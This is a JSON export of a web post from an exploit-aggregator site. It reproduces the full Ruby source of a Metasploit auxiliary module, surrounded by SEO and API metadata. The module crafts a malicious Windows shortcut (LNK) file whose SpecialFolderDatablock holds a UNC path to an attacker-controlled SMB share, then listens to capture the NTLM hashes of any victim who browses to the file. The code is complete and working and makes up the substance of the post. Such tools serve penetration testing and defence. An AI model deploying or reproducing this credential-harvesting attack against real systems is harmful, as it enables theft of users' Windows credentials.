{"id":19830,"date":"2025-10-01T17:20:50","date_gmt":"2025-10-01T17:20:50","guid":{"rendered":"http:\/\/localhost\/?p=19830"},"modified":"2025-10-01T17:20:50","modified_gmt":"2025-10-01T17:20:50","slug":"specialfolderdatablock-windows-lnk-file-special-unc-path-ntlm-leak","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=19830","title":{"rendered":"SpecialFolderDatablock &#8211; Windows LNK File Special UNC Path NTLM Leak_MSF:AUXILIARY-FILEFORMAT-SPECIALFOLDER_LEAK-"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-10-01T21:38:24&#8243;,&#8221;description&#8221;:&#8221;This module creates a malicious Windows shortcut (LNK) file that           specifies a special UNC path in SpecialFolderDatablock of Shell Link (.LNK)          &#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-10-01T18:56:05&#8243;,&#8221;modified&#8221;:&#8221;2025-10-01T18:56:05&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;SpecialFolderDatablock &#8211; Windows LNK File Special UNC Path NTLM Leak&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;MSF:AUXILIARY-FILEFORMAT-SPECIALFOLDER_LEAK-&#8220;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;##\\n# This module requires Metasploit: https:\/\/metasploit.com\/download\\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n##\\nrequire &#8216;faker&#8217;\\n\\nclass MetasploitModule \\u003c Msf::Auxiliary\\n\\n  include Msf::Exploit::FILEFORMAT\\n  include Msf::Exploit::Remote::SMB::Server::Share\\n  include Msf::Exploit::Remote::SMB::Server::HashCapture\\n\\n  def initialize(info = {})\\n    super(\\n      update_info(\\n        info,\\n        &#8216;Name&#8217; =\\u003e &#8216;SpecialFolderDatablock &#8211; Windows LNK File Special UNC Path NTLM Leak&#8217;,\\n        &#8216;Description&#8217; =\\u003e %q{\\n          This module creates a malicious Windows shortcut (LNK) file that\\n          specifies a special UNC path in SpecialFolderDatablock of Shell Link (.LNK)\\n          that can trigger an authentication attempt to a remote server. This can be used\\n          to harvest NTLM authentication credentials.\\n\\n          When a victim browse to the location of the LNK file, it will attempt to\\n          connect to the the specified UNC path, resulting in an SMB connection that\\n          can be captured to harvest credentials.\\n        },\\n        &#8216;Author&#8217; =\\u003e [ &#8216;Nafiez&#8217; ],\\n        &#8216;License&#8217; =\\u003e MSF_LICENSE,\\n        &#8216;References&#8217; =\\u003e [\\n          [\\n            &#8216;URL&#8217;, &#8216;https:\/\/zeifan.my\/Right-Click-LNK\/&#8217;,\\n            &#8216;EDB&#8217;, &#8216;42382&#8217;,\\n          ]\\n        ],\\n        &#8216;Platform&#8217; =\\u003e &#8216;win&#8217;,\\n        &#8216;Targets&#8217; =\\u003e [ [ &#8216;Windows Universal&#8217;, {} ] ],\\n        &#8216;Notes&#8217; =\\u003e {\\n          &#8216;Stability&#8217; =\\u003e [CRASH_SAFE],\\n          &#8216;Reliability&#8217; =\\u003e [],\\n          &#8216;SideEffects&#8217; =\\u003e [ARTIFACTS_ON_DISK]\\n        },\\n        &#8216;DisclosureDate&#8217; =\\u003e &#8216;2025-05-10&#8217; # Disclosed to MSRC on 2025-05-10\\n      )\\n    )\\n\\n    register_options([\\n      OptString.new(&#8216;APPNAME&#8217;, [ false, &#8216;Name of the application to display&#8217;, nil])\\n    ])\\n  end\\n\\n  def generate_shell_link_header\\n    header = &#8221;\\n    header \\u003c\\u003c [0x4C].pack(&#8216;L&#8217;) # HeaderSize (4 bytes)\\n    header \\u003c\\u003c [0x00021401, 0x0000, 0x0000, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46].pack(&#8216;LSSCCCCCCCC&#8217;) # LinkCLSID (16 bytes)\\n    header \\u003c\\u003c [0x81].pack(&#8216;L&#8217;) # LinkFlags (4 bytes): HasLinkTargetIDList + IsUnicode\\n    header \\u003c\\u003c [0x00].pack(&#8216;L&#8217;) # FileAttributes (4 bytes)\\n    header \\u003c\\u003c [0x00].pack(&#8216;Q&#8217;) # CreationTime (8 bytes)\\n    header \\u003c\\u003c [0x00].pack(&#8216;Q&#8217;) # AccessTime (8 bytes)\\n    header \\u003c\\u003c [0x00].pack(&#8216;Q&#8217;) # WriteTime (8 bytes)\\n    header \\u003c\\u003c [0x00].pack(&#8216;L&#8217;) # FileSize (4 bytes)\\n    header \\u003c\\u003c [0x00].pack(&#8216;L&#8217;) # IconIndex (4 bytes)\\n    header \\u003c\\u003c [0x00].pack(&#8216;L&#8217;) # ShowCommand (4 bytes)\\n    header \\u003c\\u003c [0x00].pack(&#8216;S&#8217;) # HotKey (2 bytes)\\n    header \\u003c\\u003c [0x00].pack(&#8216;S&#8217;) # Reserved1 (2 bytes)\\n    header \\u003c\\u003c [0x00].pack(&#8216;L&#8217;) # Reserved2 (4 bytes)\\n    header \\u003c\\u003c [0x00].pack(&#8216;L&#8217;) # Reserved3 (4 bytes)\\n\\n    header\\n  end\\n\\n  def generate_item_id(data)\\n    [data.length + 2].pack(&#8216;S&#8217;) + data\\n  end\\n\\n  def generate_lnk_special(path, name)\\n    # Force encoding to ASCII-8BIT (binary) to avoid encoding issues\\n    path = path.dup.force_encoding(&#8216;ASCII-8BIT&#8217;)\\n    name = name.dup.force_encoding(&#8216;ASCII-8BIT&#8217;)\\n\\n    # Add null terminator\\n    path += \\&#8221;\\\\x00\\&#8221;.force_encoding(&#8216;ASCII-8BIT&#8217;)\\n    name += \\&#8221;\\\\x00\\&#8221;.force_encoding(&#8216;ASCII-8BIT&#8217;)\\n\\n    # Convert to UTF-16LE manually\\n    path_utf16 = path.encode(&#8216;UTF-16LE&#8217;).force_encoding(&#8216;ASCII-8BIT&#8217;)\\n    name_utf16 = name.encode(&#8216;UTF-16LE&#8217;).force_encoding(&#8216;ASCII-8BIT&#8217;)\\n\\n    # Remove BOM (first 2 bytes) if present\\n    path_utf16 = path_utf16[2..] if path_utf16.start_with?(\\&#8221;\\\\xFF\\\\xFE\\&#8221;)\\n    name_utf16 = name_utf16[2..] if name_utf16.start_with?(\\&#8221;\\\\xFF\\\\xFE\\&#8221;)\\n\\n    bin_data = &#8221;.force_encoding(&#8216;ASCII-8BIT&#8217;)\\n    bin_data \\u003c\\u003c \\&#8221;\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x6a\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\&#8221;.force_encoding(&#8216;ASCII-8BIT&#8217;)\\n    bin_data \\u003c\\u003c [path.length].pack(&#8216;S&#8217;)\\n    bin_data \\u003c\\u003c [name.length].pack(&#8216;S&#8217;)\\n    bin_data \\u003c\\u003c path_utf16\\n    bin_data \\u003c\\u003c name_utf16\\n    bin_data \\u003c\\u003c \\&#8221;\\\\x00\\\\x00\\&#8221;.force_encoding(&#8216;ASCII-8BIT&#8217;) # comment\\n\\n    bin_data\\n  end\\n\\n  def generate_linktarget_idlist(path, name)\\n    idlist = &#8221;.force_encoding(&#8216;ASCII-8BIT&#8217;)\\n\\n    # Reference &#8211; https:\/\/www.tenforums.com\/tutorials\/3123-clsid-key-guid-shortcuts-list-windows-10-a.html\\n\\n    # First ItemID &#8211; My Computer \/ This PC\\n    # {20D04FE0-3AEA-1069-A2D8-08002B30309D}\\n    field_size_id1 = \\&#8221;\\\\x1f\\\\x50\\&#8221;\\n    first_id = \\&#8221;\\\\xe0\\\\x4f\\\\xd0\\\\x20\\\\xea\\\\x3a\\\\x69\\\\x10\\\\xa2\\\\xd8\\\\x08\\\\x00\\\\x2b\\\\x30\\\\x30\\\\x9d\\&#8221;.force_encoding(&#8216;ASCII-8BIT&#8217;)\\n    idlist \\u003c\\u003c generate_item_id(field_size_id1 + first_id)\\n\\n    # Second ItemID &#8211; Control Panel (All Tasks)\\n    # {ED7BA470-8E54-465E-825C-99712043E01C}\\n    field_size_id2 = \\&#8221;\\\\x2e\\\\x80\\&#8221;\\n    second_id = \\&#8221;\\\\x20\\\\x20\\\\xec\\\\x21\\\\xea\\\\x3a\\\\x69\\\\x10\\\\xa2\\\\xdd\\\\x08\\\\x00\\\\x2b\\\\x30\\\\x30\\\\x9d\\&#8221;.force_encoding(&#8216;ASCII-8BIT&#8217;)\\n    idlist \\u003c\\u003c generate_item_id(field_size_id2 + second_id)\\n\\n    # Custom ItemID &#8211; Our UNC path\\n    idlist \\u003c\\u003c generate_item_id(generate_lnk_special(path, name))\\n\\n    # TerminalID\\n    idlist \\u003c\\u003c \\&#8221;\\\\x00\\\\x00\\&#8221;.force_encoding(&#8216;ASCII-8BIT&#8217;)\\n\\n    # Full IDList with size\\n    [idlist.length].pack(&#8216;S&#8217;) + idlist\\n  end\\n\\n  def generate_extra_data\\n    extra = &#8221;.force_encoding(&#8216;ASCII-8BIT&#8217;)\\n    extra \\u003c\\u003c [0x10].pack(&#8216;L&#8217;)                    # BlockSize (4 bytes)\\n    extra \\u003c\\u003c [0xA0000005].pack(&#8216;L&#8217;)              # SPECIAL_FOLDER_DATABLOCK_SIGNATURE (4 bytes)\\n    extra \\u003c\\u003c [0x24].pack(&#8216;L&#8217;)                    # SpecialFolderID (4 bytes) &#8211; Control Panel\\n    extra \\u003c\\u003c [0x28].pack(&#8216;L&#8217;)                    # Offset (4 bytes)\\n    extra \\u003c\\u003c [0x00].pack(&#8216;L&#8217;)                    # TERMINAL_BLOCK (4 bytes)\\n\\n    extra\\n  end\\n\\n  def ms_shllink(path, name)\\n    lnk_data = &#8221;.force_encoding(&#8216;ASCII-8BIT&#8217;)\\n    lnk_data \\u003c\\u003c generate_shell_link_header\\n    lnk_data \\u003c\\u003c generate_linktarget_idlist(path, name)\\n    lnk_data \\u003c\\u003c generate_extra_data\\n\\n    lnk_data\\n  end\\n\\n  def run\\n    app_name = datastore[&#8216;APPNAME&#8217;]\\n\\n    app_name = \\&#8221;#{Faker::App.name}Application\\&#8221; if app_name.blank?\\n\\n    start_service\\n    unc_share = datastore[&#8216;SHARE&#8217;]\\n    unc_share = Rex::Text.rand_text_alphanumeric(6) if unc_share.blank?\\n    unc_path = \\&#8221;\\\\\\\\\\\\\\\\#{datastore[&#8216;SRVHOST&#8217;]}\\\\\\\\#{unc_share}\\&#8221;\\n\\n    lnk_data = ms_shllink(unc_path, app_name)\\n    file_create(lnk_data)\\n    print_good(\\&#8221;LNK file created: #{datastore[&#8216;FILENAME&#8217;]}\\&#8221;)\\n    print_status(\\&#8221;Listening for hashes on #{datastore[&#8216;SRVHOST&#8217;]}:#{datastore[&#8216;SRVPORT&#8217;]}\\&#8221;)\\n    stime = Time.now.to_f\\n    timeout = datastore[&#8216;ListenerTimeout&#8217;].to_i\\n    loop do\\n      break if timeout \\u003e 0 \\u0026\\u0026 (stime + timeout \\u003c Time.now.to_f)\\n\\n      Rex::ThreadSafe.sleep(1)\\n    end\\n  end\\n\\nend\\n&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/github.com\/rapid7\/metasploit-framework\/blob\/master\/modules\/auxiliary\/fileformat\/specialfolder_leak.rb&#8221;,&#8221;cvss&#8221;:{&#8220;score&#8221;:0,&#8221;severity&#8221;:&#8221;NONE&#8221;,&#8221;vector&#8221;:&#8221;NONE&#8221;,&#8221;version&#8221;:&#8221;NONE&#8221;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/www.rapid7.com\/db\/modules\/auxiliary\/fileformat\/specialfolder_leak\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-10-01T21:38:24&#8243;,&#8221;description&#8221;:&#8221;This module creates a malicious Windows shortcut (LNK) file that specifies a special UNC path in SpecialFolderDatablock of Shell Link (.LNK) &#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-10-01T18:56:05&#8243;,&#8221;modified&#8221;:&#8221;2025-10-01T18:56:05&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;SpecialFolderDatablock &#8211; Windows LNK&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,169,13,33,7,11,5],"class_list":["post-19830","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-metasploit","tag-news","tag-none","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>SpecialFolderDatablock - Windows LNK File Special UNC Path NTLM Leak_MSF:AUXILIARY-FILEFORMAT-SPECIALFOLDER_LEAK- zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=19830\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"SpecialFolderDatablock - Windows LNK File Special UNC Path NTLM Leak_MSF:AUXILIARY-FILEFORMAT-SPECIALFOLDER_LEAK- zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2025-10-01T21:38:24&#8243;,&#8221;description&#8221;:&#8221;This module creates a malicious Windows shortcut (LNK) file that specifies a special UNC path in SpecialFolderDatablock of Shell Link (.LNK) &#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-10-01T18:56:05&#8243;,&#8221;modified&#8221;:&#8221;2025-10-01T18:56:05&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;SpecialFolderDatablock &#8211; Windows LNK...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=19830\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-10-01T17:20:50+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"6 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=19830#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=19830\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"SpecialFolderDatablock &#8211; Windows LNK File Special UNC Path NTLM Leak_MSF:AUXILIARY-FILEFORMAT-SPECIALFOLDER_LEAK-\",\"datePublished\":\"2025-10-01T17:20:50+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=19830\"},\"wordCount\":1284,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"exploit\",\"metasploit\",\"news\",\"NONE\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=19830#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=19830\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=19830\",\"name\":\"SpecialFolderDatablock - Windows LNK File Special UNC Path NTLM Leak_MSF:AUXILIARY-FILEFORMAT-SPECIALFOLDER_LEAK- zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-10-01T17:20:50+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=19830#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=19830\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=19830#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"SpecialFolderDatablock &#8211; Windows LNK File Special UNC Path NTLM Leak_MSF:AUXILIARY-FILEFORMAT-SPECIALFOLDER_LEAK-\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"SpecialFolderDatablock - Windows LNK File Special UNC Path NTLM Leak_MSF:AUXILIARY-FILEFORMAT-SPECIALFOLDER_LEAK- zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=19830","og_locale":"en_US","og_type":"article","og_title":"SpecialFolderDatablock - Windows LNK File Special UNC Path NTLM Leak_MSF:AUXILIARY-FILEFORMAT-SPECIALFOLDER_LEAK- zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2025-10-01T21:38:24&#8243;,&#8221;description&#8221;:&#8221;This module creates a malicious Windows shortcut (LNK) file that specifies a special UNC path in SpecialFolderDatablock of Shell Link (.LNK) &#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-10-01T18:56:05&#8243;,&#8221;modified&#8221;:&#8221;2025-10-01T18:56:05&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;SpecialFolderDatablock &#8211; Windows LNK...","og_url":"https:\/\/zero.redgem.net\/?p=19830","og_site_name":"zero redgem","article_published_time":"2025-10-01T17:20:50+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"6 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=19830#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=19830"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"SpecialFolderDatablock &#8211; Windows LNK File Special UNC Path NTLM Leak_MSF:AUXILIARY-FILEFORMAT-SPECIALFOLDER_LEAK-","datePublished":"2025-10-01T17:20:50+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=19830"},"wordCount":1284,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","exploit","metasploit","news","NONE","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=19830#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=19830","url":"https:\/\/zero.redgem.net\/?p=19830","name":"SpecialFolderDatablock - Windows LNK File Special UNC Path NTLM Leak_MSF:AUXILIARY-FILEFORMAT-SPECIALFOLDER_LEAK- zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-10-01T17:20:50+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=19830#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=19830"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=19830#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"SpecialFolderDatablock &#8211; Windows LNK File Special UNC Path NTLM Leak_MSF:AUXILIARY-FILEFORMAT-SPECIALFOLDER_LEAK-"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/19830","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=19830"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/19830\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=19830"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=19830"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=19830"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}